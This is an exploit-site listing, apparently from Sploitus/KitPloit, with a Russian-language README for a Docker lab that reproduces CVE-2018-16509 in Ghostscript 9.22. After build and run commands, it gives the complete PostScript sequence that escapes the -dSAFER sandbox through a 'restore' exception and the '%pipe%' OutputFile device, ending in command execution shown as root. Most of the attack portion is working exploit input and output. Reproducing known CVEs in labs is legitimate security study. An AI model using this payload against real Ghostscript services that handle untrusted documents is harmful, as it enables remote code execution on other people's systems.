Sploitus

Exploit for CVE-2018-16509

kitploit Β· 2026-08-27

Exploit Code

MARKDOWN44 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RHPCO-CVE-2018-16509
# CVE-2018-16509 ΠŸΠ΅ΡΠΎΡ‡Π½ΠΈΡ†Π° Docker

"ΠžΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π² Artifex Ghostscript Π΄ΠΎ вСрсии 9.24. ΠΠ΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Π°Ρ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° "восстановлСния ΠΏΡ€ΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΠΉ" ΠΏΡ€ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΉ /invalidaccess ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использована Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ°ΠΌΠΈ, способными ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ созданный PostScript, для выполнСния ΠΊΠΎΠ΄Π° с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ инструкции "pipe"." https://nvd.nist.gov/vuln/detail/CVE-2018-16509 https://access.redhat.com/security/cve/cve-2018-16509

## Π‘Π±ΠΎΡ€ΠΊΠ°

root@kitploit:~
    
    
    docker build -t cve-2018-16509:latest . 
    

## Запуск + Π’Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅

root@kitploit:~
    
    
    docker exec -it `docker run -d cve-2018-16509:latest` bash
    

## ВСрсия

root@kitploit:~
    
    
    [root@400498314b62 ~]# gs -v
    GPL Ghostscript 9.22 (2017-10-04)
    Copyright (C) 2017 Artifex Software, Inc.  All rights reserved.
    

## Эксплойт

root@kitploit:~
    
    
    gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null
    GS>legal
    GS>{ null restore } stopped { pop } if
    GS>legal
    GS>mark /OutputFile (%pipe%id) currentdevice putdeviceprops
    GS<1>showpage
    uid=0(root) gid=0(root) groups=0(root)
    [root@400498314b62 ~]#